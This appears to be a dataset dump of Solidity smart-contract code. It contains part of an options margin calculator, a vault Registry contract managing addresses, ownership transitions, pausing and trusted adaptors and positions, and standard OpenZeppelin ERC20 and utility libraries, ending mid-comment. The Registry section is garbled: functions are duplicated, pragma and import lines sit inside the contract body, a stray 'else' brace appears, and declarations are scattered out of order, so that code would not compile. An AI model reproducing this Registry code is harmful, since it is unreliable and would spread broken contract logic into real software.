_vault.shortOtokens.length == _vault.shortAmounts.length,
"MarginCalculator: Short asset and amount mismatch"
);
require(
_vault.longOtokens.length == _vault.longAmounts.length,
"MarginCalculator: Long asset and amount mismatch"
);
require(
_vault.collateralAssets.length == _vault.collateralAmounts.length,
"MarginCalculator: Collateral asset and amount mismatch"
);
// ensure the long asset is valid for the short asset
require(
_isMarginableLong(_vault, _vaultDetails),
"MarginCalculator: long asset not marginable for short asset"
);
// ensure that the collateral asset is valid for the short asset
require(
_isMarginableCollateral(_vault, _vaultDetails),
"MarginCalculator: collateral asset not marginable for short asset"
);
}
/**
* @dev if there is a short option and a long option in the vault, ensure that the long option is able to be used as collateral for the short option
* @param _vault the vault to check
* @param _vaultDetails vault details struct
* @return true if long is marginable or false if not
*/
function _isMarginableLong(MarginVault.Vault memory _vault, VaultDetails memory _vaultDetails)
internal
pure
returns (bool)
{
if (_vaultDetails.vaultType == 1)
require(!_vaultDetails.hasLong, "MarginCalculator: naked margin vault cannot have long otoken");
// if vault is missing a long or a short, return True
if (!_vaultDetails.hasLong || !_vaultDetails.hasShort) return true;
return
_vault.longOtokens[0] != _vault.shortOtokens[0] &&
_vaultDetails.longUnderlyingAsset == _vaultDetails.shortUnderlyingAsset &&
_vaultDetails.longStrikeAsset == _vaultDetails.shortStrikeAsset &&
_vaultDetails.longCollateralAsset == _vaultDetails.shortCollateralAsset &&
_vaultDetails.longExpiryTimestamp == _vaultDetails.shortExpiryTimestamp &&
_vaultDetails.isLongPut == _vaultDetails.isShortPut;
}
/**
* @dev if there is short option and collateral asset in the vault, ensure that the collateral asset is valid for the short option
* @param _vault the vault to check
* @param _vaultDetails vault details struct
* @return true if marginable or false
*/
function _isMarginableCollateral(MarginVault.Vault memory _vault, VaultDetails memory _vaultDetails)
internal
pure
returns (bool)
{
bool isMarginable = true;
if (!_vaultDetails.hasCollateral) return isMarginable;
if (_vaultDetails.hasShort) {
isMarginable = _vaultDetails.shortCollateralAsset == _vault.collateralAssets[0];
} else if (_vaultDetails.hasLong) {
isMarginable = _vaultDetails.longCollateralAsset == _vault.collateralAssets[0];
}
return isMarginable;
}
/**
* @notice get a product hash
* @param _underlying option underlying asset
* @param _strike option strike asset
* @param _collateral option collateral asset
* @param _isPut option type
* @return product hash
*/
function _getProductHash(
address _underlying,
address _strike,
address _collateral,
bool _isPut
) internal pure returns (bytes32) {
return keccak256(abi.encode(_underlying, _strike, _collateral, _isPut));
}
/**
* @notice get option cash value
* @dev this assume that the underlying price is denominated in strike asset
* cash value = max(underlying price - strike price, 0)
* @param _strikePrice option strike price
* @param _underlyingPrice option underlying price
* @param _isPut option type, true for put and false for call option
*/
function _getCashValue(
FPI.FixedPointInt memory _strikePrice,
FPI.FixedPointInt memory _underlyingPrice,
bool _isPut
) internal view returns (FPI.FixedPointInt memory) {
if (_isPut) return _strikePrice.isGreaterThan(_underlyingPrice) ? _strikePrice.sub(_underlyingPrice) : ZERO;
return _underlyingPrice.isGreaterThan(_strikePrice) ? _underlyingPrice.sub(_strikePrice) : ZERO;
}
/**
* @dev get otoken detail, from both otoken versions
*/
function _getOtokenDetails(address _otoken)
internal
view
returns (
address,
address,
address,
uint256,
uint256,
bool
)
{
OtokenInterface otoken = OtokenInterface(_otoken);
try otoken.getOtokenDetails() returns (
address collateral,
address underlying,
address strike,
uint256 strikePrice,
uint256 expiry,
bool isPut
) {
return (collateral, underlying, strike, strikePrice, expiry, isPut);
} catch {
// v1 otoken
return (
otoken.collateralAsset(),
otoken.underlyingAsset(),
otoken.strikeAsset(),
otoken.strikePrice(),
otoken.expiryTimestamp(),
otoken.isPut()
);
}
}
}
|
* @notice minimum between two signed integers, a and b @param a FixedPointInt @param b FixedPointInt @return min of two signed integers/
|
function min(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) {
return a.value < b.value ? a : b;
}
| 1,551,660
|
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./full_match/1/0x70832E3e9a3268Fe9A5a47803e945fC34280B976/sources/src/Registry.sol
|
============================================= ADDRESS CONFIG =============================================
|
contract Registry is Ownable {
event AddressChanged(uint256 indexed id, address oldAddress, address newAddress);
error Registry__ContractNotRegistered(uint256 id);
event DepositorOnBehalfChanged(address depositor, bool state);
uint256 public nextId;
mapping(uint256 => address) public getAddress;
mapping(address => bool) public approvedForDepositOnBehalf;
pragma solidity 0.8.21;
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { Cellar } from "src/base/Cellar.sol";
import { ERC20 } from "@solmate/tokens/ERC20.sol";
import { BaseAdaptor } from "src/modules/adaptors/BaseAdaptor.sol";
import { PriceRouter } from "src/modules/price-router/PriceRouter.sol";
function setApprovedForDepositOnBehalf(address depositor, bool state) external onlyOwner {
approvedForDepositOnBehalf[depositor] = state;
emit DepositorOnBehalfChanged(depositor, state);
}
function setAddress(uint256 id, address newAddress) external {
if (id > 0) {
_checkOwner();
if (id >= nextId) revert Registry__ContractNotRegistered(id);
if (msg.sender != getAddress[0]) revert Registry__OnlyCallableByZeroId();
}
emit AddressChanged(id, getAddress[id], newAddress);
getAddress[id] = newAddress;
}
function setAddress(uint256 id, address newAddress) external {
if (id > 0) {
_checkOwner();
if (id >= nextId) revert Registry__ContractNotRegistered(id);
if (msg.sender != getAddress[0]) revert Registry__OnlyCallableByZeroId();
}
emit AddressChanged(id, getAddress[id], newAddress);
getAddress[id] = newAddress;
}
} else {
constructor(address newOwner, address gravityBridge, address swapRouter, address priceRouter) Ownable() {
_register(gravityBridge);
_register(swapRouter);
_register(priceRouter);
transferOwnership(newOwner);
}
event Registered(uint256 indexed id, address indexed newContract);
function register(address newContract) external onlyOwner {
_register(newContract);
}
function _register(address newContract) internal {
getAddress[nextId] = newContract;
emit Registered(nextId, newContract);
nextId++;
}
event OwnerTransitionStarted(address newOwner, uint256 startTime);
event OwnerTransitionCancelled();
event OwnerTransitionComplete(address newOwner);
error Registry__OnlyCallableByZeroId();
error Registry__NewOwnerCanNotBeZero();
error Registry__TransitionPending();
error Registry__TransitionNotPending();
error Registry__OnlyCallableByPendingOwner();
uint256 public constant TRANSITION_PERIOD = 7 days;
address public pendingOwner;
uint256 public transitionStart;
function transitionOwner(address newOwner) external {
if (msg.sender != getAddress[0]) revert Registry__OnlyCallableByZeroId();
if (pendingOwner != address(0)) revert Registry__TransitionPending();
if (newOwner == address(0)) revert Registry__NewOwnerCanNotBeZero();
pendingOwner = newOwner;
transitionStart = block.timestamp;
}
function cancelTransition() external {
if (msg.sender != getAddress[0]) revert Registry__OnlyCallableByZeroId();
if (pendingOwner == address(0)) revert Registry__TransitionNotPending();
pendingOwner = address(0);
transitionStart = 0;
}
function completeTransition() external {
if (pendingOwner == address(0)) revert Registry__TransitionNotPending();
if (msg.sender != pendingOwner) revert Registry__OnlyCallableByPendingOwner();
if (block.timestamp < transitionStart + TRANSITION_PERIOD) revert Registry__TransitionPending();
_transferOwnership(pendingOwner);
pendingOwner = address(0);
transitionStart = 0;
}
function _checkOwner() internal view override {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
if (transitionStart != 0) revert Registry__TransitionPending();
}
event TargetPaused(address target);
event TargetUnpaused(address target);
error Registry__TargetNotPaused(address target);
error Registry__TargetAlreadyPaused(address target);
mapping(address => bool) public isCallerPaused;
function batchPause(address[] calldata targets) external onlyOwner {
for (uint256 i; i < targets.length; ++i) _pauseTarget(targets[i]);
}
function batchUnpause(address[] calldata targets) external onlyOwner {
for (uint256 i; i < targets.length; ++i) _unpauseTarget(targets[i]);
}
function _pauseTarget(address target) internal {
if (isCallerPaused[target]) revert Registry__TargetAlreadyPaused(target);
isCallerPaused[target] = true;
emit TargetPaused(target);
}
function _unpauseTarget(address target) internal {
if (!isCallerPaused[target]) revert Registry__TargetNotPaused(target);
isCallerPaused[target] = false;
emit TargetUnpaused(target);
}
error Registry__IdentifierNotUnique();
error Registry__AdaptorNotTrusted(address adaptor);
error Registry__AdaptorAlreadyTrusted(address adaptor);
mapping(address => bool) public isAdaptorTrusted;
mapping(bytes32 => bool) public isIdentifierUsed;
function trustAdaptor(address adaptor) external onlyOwner {
if (isAdaptorTrusted[adaptor]) revert Registry__AdaptorAlreadyTrusted(adaptor);
bytes32 identifier = BaseAdaptor(adaptor).identifier();
if (isIdentifierUsed[identifier]) revert Registry__IdentifierNotUnique();
isAdaptorTrusted[adaptor] = true;
isIdentifierUsed[identifier] = true;
}
function distrustAdaptor(address adaptor) external onlyOwner {
if (!isAdaptorTrusted[adaptor]) revert Registry__AdaptorNotTrusted(adaptor);
isAdaptorTrusted[adaptor] = false;
}
function revertIfAdaptorIsNotTrusted(address adaptor) external view {
if (!isAdaptorTrusted[adaptor]) revert Registry__AdaptorNotTrusted(adaptor);
}
struct PositionData {
address adaptor;
bool isDebt;
bytes adaptorData;
bytes configurationData;
}
event PositionAdded(uint32 id, address adaptor, bool isDebt, bytes adaptorData);
error Registry__PositionPricingNotSetUp(address position);
error Registry__InvalidPositionInput();
error Registry__PositionDoesNotExist();
error Registry__PositionIsNotTrusted(uint32 position);
uint256 public constant PRICE_ROUTER_REGISTRY_SLOT = 2;
uint32 public positionCount = 100;
mapping(bytes32 => uint32) public getPositionHashToPositionId;
mapping(uint32 => PositionData) public getPositionIdToPositionData;
mapping(uint32 => bool) public isPositionTrusted;
function trustPosition(uint32 positionId, address adaptor, bytes memory adaptorData) external onlyOwner {
bytes32 identifier = BaseAdaptor(adaptor).identifier();
bool isDebt = BaseAdaptor(adaptor).isDebt();
bytes32 positionHash = keccak256(abi.encode(identifier, isDebt, adaptorData));
if (positionId == 0) revert Registry__InvalidPositionInput();
PositionData storage pData = getPositionIdToPositionData[positionId];
if (pData.adaptor != address(0)) revert Registry__InvalidPositionInput();
if (adaptor == address(0) || getPositionHashToPositionId[positionHash] != 0)
revert Registry__InvalidPositionInput();
if (!isAdaptorTrusted[adaptor]) revert Registry__AdaptorNotTrusted(adaptor);
pData.adaptor = adaptor;
pData.isDebt = isDebt;
pData.adaptorData = adaptorData;
pData.configurationData = abi.encode(0);
isPositionTrusted[positionId] = true;
getPositionHashToPositionId[positionHash] = positionId;
ERC20[] memory assets = BaseAdaptor(adaptor).assetsUsed(adaptorData);
PriceRouter priceRouter = PriceRouter(getAddress[PRICE_ROUTER_REGISTRY_SLOT]);
for (uint256 i; i < assets.length; i++) {
if (!priceRouter.isSupported(assets[i])) revert Registry__PositionPricingNotSetUp(address(assets[i]));
}
emit PositionAdded(positionId, adaptor, isDebt, adaptorData);
}
function trustPosition(uint32 positionId, address adaptor, bytes memory adaptorData) external onlyOwner {
bytes32 identifier = BaseAdaptor(adaptor).identifier();
bool isDebt = BaseAdaptor(adaptor).isDebt();
bytes32 positionHash = keccak256(abi.encode(identifier, isDebt, adaptorData));
if (positionId == 0) revert Registry__InvalidPositionInput();
PositionData storage pData = getPositionIdToPositionData[positionId];
if (pData.adaptor != address(0)) revert Registry__InvalidPositionInput();
if (adaptor == address(0) || getPositionHashToPositionId[positionHash] != 0)
revert Registry__InvalidPositionInput();
if (!isAdaptorTrusted[adaptor]) revert Registry__AdaptorNotTrusted(adaptor);
pData.adaptor = adaptor;
pData.isDebt = isDebt;
pData.adaptorData = adaptorData;
pData.configurationData = abi.encode(0);
isPositionTrusted[positionId] = true;
getPositionHashToPositionId[positionHash] = positionId;
ERC20[] memory assets = BaseAdaptor(adaptor).assetsUsed(adaptorData);
PriceRouter priceRouter = PriceRouter(getAddress[PRICE_ROUTER_REGISTRY_SLOT]);
for (uint256 i; i < assets.length; i++) {
if (!priceRouter.isSupported(assets[i])) revert Registry__PositionPricingNotSetUp(address(assets[i]));
}
emit PositionAdded(positionId, adaptor, isDebt, adaptorData);
}
function distrustPosition(uint32 positionId) external onlyOwner {
if (!isPositionTrusted[positionId]) revert Registry__PositionIsNotTrusted(positionId);
isPositionTrusted[positionId] = false;
}
function addPositionToCellar(
uint32 positionId
) external view returns (address adaptor, bool isDebt, bytes memory adaptorData) {
if (positionId == 0) revert Registry__PositionDoesNotExist();
PositionData memory positionData = getPositionIdToPositionData[positionId];
if (positionData.adaptor == address(0)) revert Registry__PositionDoesNotExist();
revertIfPositionIsNotTrusted(positionId);
return (positionData.adaptor, positionData.isDebt, positionData.adaptorData);
}
function revertIfPositionIsNotTrusted(uint32 positionId) public view {
if (!isPositionTrusted[positionId]) revert Registry__PositionIsNotTrusted(positionId);
}
}
| 3,223,980
|
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// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
